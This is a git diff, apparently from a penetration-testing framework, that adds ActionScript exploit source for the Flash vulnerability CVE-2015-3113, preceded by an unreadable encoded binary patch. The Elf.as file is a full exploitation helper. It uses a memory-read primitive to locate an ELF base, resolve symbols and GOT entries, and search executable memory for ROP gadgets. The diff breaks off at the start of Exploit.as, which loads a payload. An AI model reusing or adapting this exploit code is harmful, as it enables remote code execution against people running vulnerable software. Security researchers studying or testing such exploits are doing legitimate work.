zrbzN!bJ{^=u(p@!zxlb-C18W#p=d910OoGkixhTGCH+o1WjVW)5SKBoO81k_6?>*1 zHn^~(2>>c;GxSBU3ev7SZJMq-hRQn<VW@^IZ_h3Tn?_mtVog+bt!Je)pH%&s3*XrL zGSu>0b<jA7<V>*IrGNL{yH|TxKZMxhtLHeIdKDt^<b;J%pnPh~q>tbVs>&B+9jL>{ zynwS#QCHOcC**{8UuJp^5OI6-q<O7D$uJW*!E=fLoDxw@wU4F3iIrR0&1XwTL4VO6 zI;?cyOB`F1aIZ6;k$$@}fahufu$~6ATl(S;YzKVkt<O8oh~M*z+pF<2U7}+fTx(y$ z%)wL0YUq#lZ(-G9X()=2&L~>_^{qY?F@F!HBav4R5@=|C)vo5SU^$`F-~Nyy<(#Il z1LE5BK!^1m9HDr%GyDpuoA9TAk0?9{i{w*~YSVjY*Kuv<@~DRM2W!1sro8mockfE9 z0oN1#Et7I2^FV|(nKEl-t$uxQxG9-6k&`qQ;CHx)1z~r^rTi08^)_{wj0@&7TKJkW zxkFn^dEC%Q%eE<nc!Fu>!qA|$k49Gw$svWa2p$@g27}}#d42~Yp}ZB8FnMn0-^zye z526M8Y7DeT)O6WZLgEuCX(rDhaLfE`cuo@o|CkbR3-_UlyAf87`X%!z;QPrf$bikl z0M=PkJ4Z-RD;ubbu<+6n5?{9k&|NrT2niA>Ny#eGKzQn<M#q+27gkt<<gBRjE(NKJ z$*vw(3{!M4HCgM|hi37y3NpkCP)Y>pWMR^q$|Y!A19yk|ES_~KEw^hi9%kj($3~2o zP<#Zvz5G7l@}g;gI^8DAT;YKcJtoI%<VgF%E04GNR;+HhkCyTp$VtXWj%fZ=7+O17 zNu}AcCju$Y-LYT}(tw8_<$xL{7n~1MW?lxK*Wd#UQp_&lu9Rgi1O12(ABN}xjkC#h z#x&q#|MQK{%2}h=r$u{QGA>d%;lJQ69_$QOedjJPsEA8Zu<0aK#j_8UgcvCKXB%(k zsXHzbGBe>F?KPpvKNd7VV-jD12K6x=tn$O2jxT&i>y1&7DrT=luGlBVXVinIm{5E8 ze@FBS#0E$W>t^j4ojM&Xj;n|)liGPCxPCJtz7GKX@K5@upf~gGHkfPn!j;|#Q<YIG z&j$~02viqhjKpiWam~kIc=N)Aj;E7J9`wL^_?(4GNr=8r(Nfch^M65>Z`x9?gVB&} z4p(!rcdagAd!t&7-0eSyYRr)Vn1On`qOC_;2O9p_!#6Pc_CL8C?a3L(s1h!G2C;0} zACcFT@4;Bl@MgJs$yKnBwpj9ukV)hpo%-8Q^+$;>T{E<tDs8aqND8Tr{r)yD%m_uP z=0>08)%u`Q&Okbd+Rh;~vYhJ_Yf!`RwoyV{+;~K#*5fB|iFnlZ&d4TI!YJmi3~PXI zW`4Z~g`~;fQOL2FAb<vjwsD5MSO_o%XHYAt12hx9uK&KErx*<-&nYRj*fY&yIZ@cJ z1$k=|(9IVXcr}WR@zr}Clo;FR{#jW?3l<7>(F6DLKI4m9R);FQ2_&qkMr5RLGitT2 zn}A*xoUawfK=)<*g*tU4ZAs%o_(3s&2te6i<&U6QIx175s&XmZdH*xhN_D}*zBsF? zv}|kiAI~qA<6g|-18k;pyfAk(%gyOw4l<Y?7xGbT<Z*Co5@|N=+*!XScF@7YL43y5 zgYI$tO3KD15OeP^-kC{4mj!eRscTlyDx-QyD05mGoT9>VWb2z@T#`RNsopw|zQ2Xe zkJ&TuS`>UYD2|R%rqy1b=5S7*4=nUqoSF*?;3xu^M$zK#o5;!7xH108hh5c0aKCk( zt2-?E@Rd-M95=hh0{MdBRI2^RIN*mYH^VSC4s9+T8Q|Wfo=NG!`7DbT#Ov7$iau9m z>=6bpkKdt%yiqF%4%c?4bUv-sJZd=<3_zpcT$trRlD<slLmxZ(nlwaBetz*$CJx?7 zPBVVAR)l_xD`~|Q4P)tL&lD8WHPbvj3)Fiia>rmC<3kZT9Ji84N)W=E5lTmc-NMI| z`S9P};*D73l4-Afqf5VSUZF*t24JmrFLOJNevF##JiEUL2Pt<hD!2XLWW>eRVm7$R ztqi~{OhZBq4x!ruEnddnvkE|6zWKGGS&~GdK^!hv;zw-UUL<S6<09G6inH%o&(7}7 z5u|d!lJcY5)qGDx1DX*MXSE=0GoYr~6T0Q5^?qd6FTxE~e|%dAM_|S8=merLQ2ZUn zB}IB^GrQ^pzwoHC!w^T?x|he{#c|MZnAcgi@QJtE^5GpJ8%ZD;)Xr$!>v`3NCj@<^ zl<gHPJiC^p$n})W07@SoCJOkcA#1JC`jz36lT01g{Hc^wCFj9Mr^)F`F9y457{|KM zJsTX(1erSX{CEL0Pu*tCJ=Dwq!=CN~w_#t_sQ`(Qgjr&zug!2E4};r{G@V;ojEhdW zk0n^uJuL>|d)mvwi`y=dLd5S^#Cy@zlG#JFHl%_p<f6+K9Qr!~<~bx?c`Jg>YBf5) z9);v=Q+3qnS+f2AxT0E>7!$W!TR_p9ecR&ct_eZu49x)TcR$q>?s9=mtGL(6T!tP> zc3s+Pj_!BHJTaR!D3~x+P(HA10CyOTE%GP~Pp1aczzvN7u|3PDU6NsfYb~2alKf;7 z^MJ)Ye)GOBQ@1}5gIT*o?J=nCkSN!#P#;8(3G}5Kp@YnQFhkd)$~DX{=bV6q9487t ziSv~6GPGRoR|qZ)6%uyGv=Nj1<4vtI_Ky$l>g|ot^947TBK+>?J?Kb)VYfSD?x)+h zQW$TTc~8nwl2*Kx-IAw?WOi3-(fB?FJO9*51}poLoymngi@E4+SJ7PL77hFLxh%N; zClh@LjA~iE3P(JQpN16caIk*-I+X_6{s8ga0cZlDM+`tysfDWK@IZspN%cX4aS-tg z&emccz9o%UPj;9k8Y^6*6I0=%B9GxUNK`AIvqXXTpi73KL%Tzz{qzd2AQG~R`)}&w zk~tSkCi7d6AEj)Ty!Y*k{i&h)(_wuYIjH5qz;*n-wR&&4Kxft(4+dXrngN@c(rcp* z_u_=WD-50g=rqNtbT*}vI1O5R?N=gfmB$A6vAz*=(SEZhTDTh#9wXF*4lN+nI<dTk zeyIst^LvRIT1Pwu5Q`mNv+b)Ge;KoW04~*j$XnCb|CIO4KlQ!3yB>o~2Y{`Jb7hlt zHhFF9xS^o;q7M_MSTYIu+xZCEdkLa750e!Z0*ualK-SB}9^NslOm$Aq>Tr)u8U%=) zD$GxMHcz@#W0a@m4MPd6d=~+i)(8+KAmp4n4P%1>Z=3F%gttBCR-$WHjp?S}gDLw) z=am)Ym6c<t0g@dhNJyWlF>#`x<;oThA537fhyB+|Ws?m0ubD2yoSX2^a6P()Ft|v> z7y~9#AYj6PBvu8_o9GsQW`aU?Me_&!zkw9l<!pXw#BFM>_mBO68z6=)9jgVebk^$^ z-GwUb510g(KR2^gn0pPQ_cq4E-l`C7j}$uWRI6Yr3M+LST}?fonK1|7VG)EJZZVP_ z-%L<MC*|rWn|OPVd+;Wz0`!>n!yo{i0z}mZP{H^oa$EMg!VaGs*QQ~3TtW14_RP@2 zSjf!bM&F_0jGb`Q5ikt0_#~SI586xZL>cfwD1OmKkfRa;39|<6LmsYX>0%+#6lvDD zhWXV7_0YG9&6+aHz|aCNlSlO7%=AvuR^vh2UPM?k+%0a((e>QBTO?BmR=s7Rio~@> z81;3XZvjl(AxSo8y)C3D5@+fgI^eIjN9;ah!CO%1yae(+ed`)qi>L<8BatVflN(HI zw&DBf#0Z423fD(!@Z~O8Uf1~neqYf*GCOj?5M|iKL@0h7wQ<b5$j$Vtxig7l^EMyQ zR-C^$VonsmAdwP4O;|f%#+1fi`Ut!O;$Efz+&rps4dozyS+9#uSWb=i7E;|-KVY4) z=42Ww-r+}*7wUROflGJ}*0&r3S&778THblscJp2z=x(uDJ3b4>H~cJ-ZBtr=FvN`} zHuo1~31_Gvjz)P}nb_+Tch?ed=7xihQHX>G0vCE5!i<@&bt*bZj&srfsb&7!gyz#Z z+KKNrpUR)y!4hJ6o6p7)lhQ1nuBTr9g{!>5K}3cEqy&d?@Ok*l62PmiIiM{VBsJ(5 z@dKp~S6|dcc_*C~f*&4+Bb1Rc7Zwe22!2UDKU5rYSaqp@3U3Lu5s|5c=tYd;ut*DH z0^9KFY3(Z&A)PF3WO1Kj^s7wNyKs{^%=)_wkD|c37}(G78$x0tyo^0+z2?hZo`5^u z!p79jP#>wb>%5o<21Wl-p)#pD^ng(`lSh+Tt_B5$$<P(&czI--0=j-)MpVlN>_Shx ztO@mCGEK0SkE%N*W7i<jL;QlCp$HlmblLIgp@YK}QT`(SgI;7*JNuswpBMiQPUzoO zrtcAH<~hpNAZYdv3X(P@1Vn=efsq)jDrXSXhr7Wox>uEwR)s)1b8XU4);*7#LUp3B zJesXs+)9*>I1FYfE+xBSq)v&2=uSI2oUHvhZtzc~0n~RpaDX9_#7J~m9b&EE7^&zg zaY#ea^x7pBc6zOD0mR#Zp@?`Z+vV+0?JU&&$>Rc=e^W4`6=Rb6_>5Oq6%0SO{=K{t zEFHQ=>;>cA(hG{)sQHP1*h(@KeKK%e@UzVh(~ky9OuoxT*^!)be#Vmwpd0|0*VQUc zI$yu+h;7Bo5XRrCa>497#fh;vWyg*_+4LHr(h8J%i}3&0nJ`y;&eLQo>1jDCb&?wW zVTPe1vTCZ2yY#h!hFz?tll>z4x}gvv#<uHIWl8>Ys34THy^7HSL^-@ZRZkUq9n~F? zMqL(iQ?qu3ZhUnp<FhOW46$jR<)~#Mb%%zvSQN&5XaYKO_K8b<EU(y0aK9A6QU(=4 zT8&--o3n#4A1p;z2qwTDJxJpfQ3PvK2!lM6`^A<FMZVA6X@&BnZ^vn9`#o^xEOBDe zq|7?sp*vO&244aF@AXS@yPcf`xDT^syuZXS0)|?fVs?@9yd1EfuU^|;l=o%rNOyza zlh4j0xbdxhb~-$QOgfU1-dETrO~7#POG5TNp&35vW#Ak#DXFU(i?}F=Yf*xofyvdI zq~*vOp`)oD);t%S`XUag2SX!{v6+5Ei3<_;W(fd&2UO=C8)BM0!!VK*<n76k{%4(y zCZwPY{DpF9)M>c`uj74=FQ=V15-vvFX6o*L`HxsT1`d0BXe2lE#^ZOgl!H*50Lv~e zyyw`<m_Cw2I@v{R+m%xJnPjIzEgFepIS8S0qZ}mP3jrq6e*$%+*hwc<U?9Q(i#LwU z07Y(@#FUVGa8Rss2*Ou~q9_Af&_i7bP?vQx9H$DHV{O4<YoPDp5Y3)%=|^r1IQNux zi@wf;p4R}y?z7J_fHX|loYPwJ)IFk3Ake^&cZma>uS^%1*z*68!{mkB-ftmt{ea0k zkGnp3nU6s(O0`8u6$I{MY>U+&t-Vw|bj=8B?5^QFl5t9XH{$ja**d~;?9%;NQv7(f zw@s*HubxUzOKuWmB@;NV#;-0A`ThYUu%3%+ZWSXsC?rv)g^!rjHdQqi*qlv1FUDF7 z(dF^Zalb1{X}I_dJ_v^}B!yy03x}t@e)8%wff!?HiKJ^>dmgnaD8bL^Y+YzLOp_wd znRa6$7=n&oI9v>k8<QwDGR87!IarhVkhGMqvI3>K(G6uog#cc+<?d#^Mx?XnOP3`$ z_c~Q|!cO`|C!jL(If@U8Rdxe(9Q_0Xc|B$nIoO&Af8t#znQ$84d==z4CoE)JmX8Yg zB4403EV4^(jl~+Kl$dFp7HpC_E}AMD6jD-iu%6{Zy0dCbJ5#9(-d|rs0XG0r^Kgas z`vUX}Sc<@Q@XeG6{e?J1wX5Yc4|P*edJf|UTw8yV>AUgr^v@xLvrTKu8wW6q@ZI%T z^MddkfezsZ6DpagV(t&z`TC(htDT758z@D>kTNRk5xXrjebt(9T#E^S1xNpNkb)}A zT~NKGIH|{<T2u&8$)`rcjI?c8^^Kjb9N4)Oy+`X#M0IM*^Gx9d!&y0N_Log}6sxZ} zdmu~#o>GZ{DF;~E37+tt=(l1?H&E1ueHq+?cq%k9_aRLWswcMUL@JLevDu%as2_Lt zEY`CJ?$J)Z6ty*BN5rJb<Im*q;>{PqG4Yp{MGZMF;&BLcL=H4$*=8QgJ7t<dC4OXs z?0MOQ24Vz#xRfrIf`yh<+fJNi<O@f;s8#7-67Fd<$m07##pIa<5w&>?o5G8D=Zu`* zl|EYK-EhDBU})-lA}cyl2wx5;VVn;)(lkRpXv0%Wy-vd}``2EC#8#r5=5H<sDFX{- z@BgoSub^dSDmTiz<ciR%>fO%-IH{d!*D1OG0r3$I?lk86kB{=#_nX~Y&PeTBjKqHc zO0F}V!+WLXz_bj`4x$fL+dskc!$1GC*-cAVm<s5d+{9xws+YSCNQ#@JMw3-p^3bFN z6tlN?txj1I(N5<^7lcb@yOcPt+~>#REtiY@L%z0rW~86rD8fQOYmf8Tsh*TSC+9te zEvW2h%kZbW#gOB*DV)@Fw#-oHlp<nx%Ev_3-2ORnADFBqkBY(5ML-D?D{07wZBOS6 zsz0RTV!_o<6J<jWSUzsu?T2-9s0B$(^CLtuIy!4hPXhnqK)|QDF5P);xns$W`lTDg z;)UW$oOporMW)vie+LVMPENkPT?_V7iwPdRz1H2uhZ76o!eF8NmTSad0V+mn^VR(H z^p}?btu%e+0t4l4_fNN380i>lM)jyyO2W_ZLa{OjIl)mhMW<cc7;C+aAjLYFw^@&S z8X*7n#D<QiIRY6&(d!^&z6Jlhcak@4eU~r2t>nC0am(I(0{1cxXqX)8k>b`};Sp%y z`svDHO76!(m3MuPw3VEj!%Mje#mT$}1op_Ll0r{dS~XR|w#k@NICQ7wr}XA69Ge#4 z&wgBT=Otl)=;1zY0_}x<E2+-|5J_mvsVHIXSqw&o9Um5@Q*p+3l%swrj3g(!l_}U; z77(<uxo_Rjll!xUVMEqz{__o5hVX-O9n|D$)|D}SM|rMMBU=i>Pd?jy)@XiFcwU|@ z3~Qt{9E<M$INC~Ajgs2tFyfa|Oth<>vKh;~vT1Y;z=Km9F7H*VEqbDdQBbf3o-)%^ zLc{!Ay}=R54wHaXADkJj6A8@v6R&Ok^`MaoK8koJJ~Gr$TUJr`hwY^r@g94o1A?Jq z@z}cM8+1&!CDnve1Xmo*+W;3RQHSwe+6I15Az>tdl?H~a@-g7wjHAz1fLK=d6%(Q| ziFIXxhVT-QE26A9-N82cFLyL`@XskB>RQK-Wf-M2$?C`=bmDuw>y8u<xm_V)gqv4~ z(bp7*jwZ-usY!C?Rh95CzcKRzR0cwNnRu^Ln=5rESe(RgEy+M@Tz`x^6tuDJ-mBfR z<%l5;v-bP!0Y!_40$|?$WT1DlhVw7nD)++1Vs|v!vr><Jhx@O;6LMv$Vbx?!lESa@ z?Sad-QIt>d2wvtB(P{#Gbu1TVd?3r!2<kk;Y+n)T1MPPQa;D}$NVTF8B0XqqUHe+h z`ivLw74yJO6+K{EyLW(=aRBE#Cxf&C6BJZnKMnkny@iq@i*sLntQ?!YTfse^71YS{ zUPNU~92Poe#un@Lp-vxcazk((>bA$FwVYGn?&Mq@#EP(Q6Fyeyir19*bkwI<s1AJr zbFK=ZkSo;EPA5jR4-dc0RV<;?Q!D$>bfP<k!hZz*Oo9;mln?`fQ52?gNaBd0Py|dT zNh2l<+f8sPlN@inaTtgIWaIA(grnK5t7?<wXvO+g5y?3t*vw7|ltJvH`+ZoG3uF6w z227#w9x`C6dajFF)6?~Eok|q0HE@@+7C)=FcNIu4nJ^us+*n64Yne1-YnQc5VhV)$ zH;ScJ0qBvVKBD&o94V50-qPMiicVdeF~!DMBt9>*woBJPukT;hlo3oPfu!fN?_O+D zwxDn-E>;P&nM|;$|F$&0S!WG+54S>V@+zQ-keyn-bQ-L5(v$dIy+f2<$UtT{Yb|NB zhtkl~Hc|O45FF7RFmYt}NW~)1XQWPLTYW$}lJBWWa~Pp+l|8=0Qd>W`XGHUR7L&|< zaJdv&P2%+Qaahdz*NHzDs=9Wr-%sr$(^wP%$(bgy2SZyCursThwOJiQA>~{;dSfde z0QCCBz#_n+b*%P}-bMgY!n7g#U8YEVjAY!GClNm4uMO}dQ<0|t+-)-g;!pd-x3U33 zT1IbH_~T?DDh=sNUWVyrIxzTgXmVXHTMeEoU}UZLE0nbsO~CLDdxO4%da#DO$N|rp zf_hXcIq401i47dwm4C7wix#PkYk@$^RENbhyf}$F+Mh_<$>2C<@Mn*LYCEhi3Z&`7 z(UuN9$tR9&jeN+w9?mE=%>%DnT51+-&s)xHl$yGNFO0IE0~RgLBIgc>`||Ft^--$j zVg*0V4X;7jr(1~2fo^UG{Etq7c(;L2S1Cp-fuB_~VKI*V#`Q}!w(sus%2E?R4njLi zWG$$^DOV2K?|57j=@W0)@V_w)Ir73ExH$X3B)tc^(HlCLd<fIqIiG{Y$cPp}Ld3QP zyJmK$!|I+M>iMn{20`Q1MY9{dCpI!B3nrsg8~YOBprk>ZeM^bv&hf1B-j;*Lpw+*r zQu+#PJq0`wetrrtLMqvj`-_T9t1D!t^r4fPtbFf*(Sj@=>h81*Ubgvf65k+Ha1R^< zz=+BnSvBSNuc=0QD^m?QRB*$-b%tXxu9GO%2FTxt=WDv_PR_35UKhA!ib^TiD|iR! zyl3V#7_~ljj?G$c$@sNRTSXuxw`G>#P*gLfiD9JS(n>4SP(HIL+@^yXUVVlok~q_V zU%FCAn*c>-h`|X^ObI?y#jvu_{!5IM@bwb!kx~HBhO2pn>09D#f^CV)|1=k(w1TA7 z|954acKs>ZjPAnYxdR**hL31V6F5Op;j%aoCVC`D4zHfnA!vPI+V^<)N4+i1EJy<u ziUo1ImF<5N^u4K&T-Eb6dFmh2+-i95r}-?+t+=#U)N9rDH$k4wAnvq<loc@LQo<vc ze2nL?xgZv^_8PHDB}+TOq5(F?;Gv1U6iRN4-rw9{_7bQf*!i52LfXNyBSX3PuvnA^ zaI|sTa>t93`>(H6dry!*!bmiy&ZiHg6Ed0EPvBKiL5-=X!XFYDQL76%o9o~8aH8u& zDck=m&z8t7fiRE+rW{J9Mb`UdZfLh&w+S^*MuE`rqE-IG@aUQGES*@Z7@V#UBP))A z)7k~C1L8+g$XHFr>OGA~&Hh;_6@KNAEX!3qSF(UW$@P^Tt*TYm(uJyBzyIy!9RN6o zAa4^1n59L>YYFwL*4`hB7SypZo_GC%5*6fKVW|7NmAba>m0eEYc6^(4(%tqwdrvJ$ z9i4g<WhVYmwqvMC2?}NVWdw);W5*>ldkGV_;l4ZAp@g0a8Y&fYxcu<Wt?HFFsGsuz zr_)B1CZb3^s%=!G_RtWw@U6{x0$8oiKXhW(U*vs3w_?kOsPSP4r71U~gwAr|(UJ(C zFi4`E+o_v)$;vW^ADpxOJ`o`Z26gV5@0QlSp9(8^UM;ZTsh=#m2}+r_KhLuUY|?gP z$w@<NGna;6+UFzu^lei}Qs$}exgyTtG5>^?K-j<=y3|196IHXTz8$qg`>N!Gp`gGI zc)Z0Y?z*8JGF5|fTx*m^OdjDP+P<JGNbpoU<Ln{m%Ln0<lydA&r6@rXGbni7I6S%8 z^T|+A@yk-&BdTOl@2Wt4Z);ZXmu_Mp6(TI%`m*KeCW)S1AnQ)l?nXYVk}}CXbeqf% z)2e$NbmbNHFL+xq0W;Yyq7gce$j`T2>V-~-<31}zlqw|kZ=U;`NzwRbW{Hlqf(+M^ zK0iX>5uLIA<Y-F9c-==OnN=SW!Ba#^Qm{CY=eEQS92yuPFc;7uxEth9>2a4INc}n9 zD>I)irHM2beLc^UX%j3P*U?`1m05m&Npj*b5s9Cqb1V%{7=S)O!>7ld&cc^knQeoF ziUaTK6Li*`6}44y@Fn%gb=!RoY|=@GxjFlNVT(<5_S4CFWS-b9<d4L=*kgg7*IHX~ zvqAQb+?wNp{ggxd{~^66KaGrmcMkCv$gg5nwQi~TA#Yp=O>wOLR#qs>-vhqK>YYX^ z-I?t<AiNFX5`hlsg~Qq*7v)?VFJeUjyL~Dqe}j7V(=~DuBZ4S1WZ=2=-lmfr^HET4 zD;~yNx~5fbyhtY<fx4=*_Y$4tUE12s`q`A7!?P)~>2ID?Y$|7!IzNd=WQE`F!i|{3 zasJe<WQes_J4gDU{pCzLa_=;1ksf+o<qyD6j!=FZOq|l+M?N;>;waa!<Izj?g((ep zD6LrVf8=e!N_hI%7r%u_(|WK4J3nRcjQ-qiRuz#4Zy=EhV^HB(3$R82r~&f!^?KEC zF`|?TM>2C)x*(e(aEdBrPwm7AD@9r5s<+liwN;hHuy?I^Lsbnw{dw=pbZG$p<01); z6;~Q#22c&14c2l<Fzhtg3Pz0RAv_9V*Y2u9K?&Fj2M5{Y6)(Rbo$Ey<d-FdI?~7WS zFKvBQfozPPZT0)k*>QD3#W7wB;!$P6OwzHaO>4TXekq(-6njA-q5mG<TErmzeo?Nc zY^B)g+SB?!#mT2X^3XZl!>E?6Vt#MC`Ce)Chcc$Bsb>W;uDs~Y{2`dx9=`!)AtHc_ z%0LA4cyud2kuUjDZEKaNT1G#t$AdW-1k4Pzoq}T7>Oe-|{dj%<jS|NHj1MU=$eD7) zzN#0vh=SHxnNvyXd^70^(tokltHr`ZN#mgU7(3MKqf>2V=}jN<Hpfi2y#!+ZPfXkO z{li}!OyJ7zBQ?*=7@acEW{5>xT&3!Nz^7v%r0v?o7uwFM0Qpz%_r>V*!c9q)Av!U@ z`09SRNoaX7nVavQN3kg`R~Qv&AxV0O*}<QR$5|;Q-Uz_tL9-JSKZz74M}LefZ=i26 zWwCh#LqWkIZ=x~O@L!y1Es%y`(J@<j#5%mS%Joyo1M6%vknie{dK0x!Gbx%Or7phK zj!#Kt>4<VkN1_Q$!LQ!x<%UY1YkD{?H(>E}f{IH1shw)KuWML@h`b?QJ5YL=zH+O{ za1gEHub>l$@a5rfVW{*e$!S;ra^<Tz45J+Eg!NYOx`9_Q$3Wp3Q`L7JKj$}kmQ+mY z(;0W6;#ddhrj=Yjp!>%*oJC$>J2#H7+FJ4RZzH#KT||)h#=PWMKcfH$H_pNw>IiiD z17K3TjVWk~RUJcjOb>@W8j<t4Ob=egB*(zA!;{3m_Z0bAsnv}Na_6>fgv+&U3ic!m z$vIUrZ@+AHPjT-a34U+PuUW;vc}FmHZu<{u$JYt$w%%r~3SHS1C7c>ptc{_*u0xQs z^~ypb-X)_t|1N!1y`wG-Afh=OtXE|bnn6^-0~XkA8(W{`VVg6+1}1yOtVntvzBNBY zX}`c{aS;7&s{zI8=Bv_-3gl)yqW7_Fh;^s}$h1IvV=PX@csFwB)#SLDWSHs%BiI1A z^nPS@<Jqu@?+l!fI~m+$5rt;3=DM~BXDF~QBL$qpV9uWMeEBw6CMtvDmzielaRB%$ zr)jHNwgq?f))h^F`q}qt_4`d$mQaekfL5KIc&b+IDWWshV@fZLn{j0C<Q4m10fuXz zfLA?KWiW2I(Z{BLMT+p+t^5;XxIBW9Q3!xwMae0I4<#S#aK$P};_PX*QB~53FPTjO zxdTs<>@M)3prYO4o>kXCNkW~@;la|^HIqFuU%P`b8R_OgJ0Xzel1PtoY$RNn1ILwc zGe4eDo71EM(q+Q9l#7P%Fx}q5#bfq;N~Pn{TLS(nF5?W<bF*RS7mT-(nU3hcU07-< zNlByTds!4oUMoG`h>)u!1;U5*snCl<nCW4b32cYp)s^-xScOsK1XbbicC2_IjZB;} zQEo|UZ6zhY65ehVa5l0TwILP{G5EZ3MPHDvU!d12`eYt?tun!i-$B^K-!;K^=(EO2 zZnDZLVK+r3zSk*W#)K3Q3XWeL)-RGN8h3YZ@s!>VeD%WA9ix-1E1b|bFTD~TtTGOr z7epU)e2e!V*M%J9r>hA$c_V)7FmaQ$H$TBS$;-Z_tI(xo36!k!I)+k-9uCS5I#+`n zC88ughemvhr;*VKFdW86EB}eVH2+^?m(`Mk$1ImXJ&G`)SrpxC4p@OBsQM}vx&*av z+$_~I9e8FBOc|^OuZ#1&NO_nL?@`wV2snO1m0XH#s#|emNsU}S)Ruzg%iMX)1#19u zQt%`WkT}A&7fom;@QTsbTRc`QNQAwU<evtbtr`mZ>1myab!}I^wFxZkJoh7(>u`m$ z4HAVJ`Qt!Ixk)1UyDa!stMt%;gJx4citRVD?b6I1a=(e8PheDKjo_|!Cja*J$pa83 BqIm!S literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2015-3113/Elf.as b/external/source/exploits/CVE-2015-3113/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/Exploit.as b/external/source/exploits/CVE-2015-3113/Exploit.as new file mode 100755 index 0000000000..552bc6f14c --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Exploit.as @@ -0,0 +1,114 @@ +package +{ + import flash.display.Sprite + import flash.events.Event + import flash.events.NetStatusEvent + import flash.events.AsyncErrorEvent + import flash.media.Video + import flash.net.NetConnection + import flash.net.NetStream + import flash.utils.getTimer + import flash.utils.ByteArray + import mx.utils.Base64Decoder + import flash.display.LoaderInfo + + public class Exploit extends Sprite + { + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public var bytes:Class; + public var video:Video = new Video(640, 480); + public var vecVectors:Vector.<Object>; + + public function Exploit():void { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = 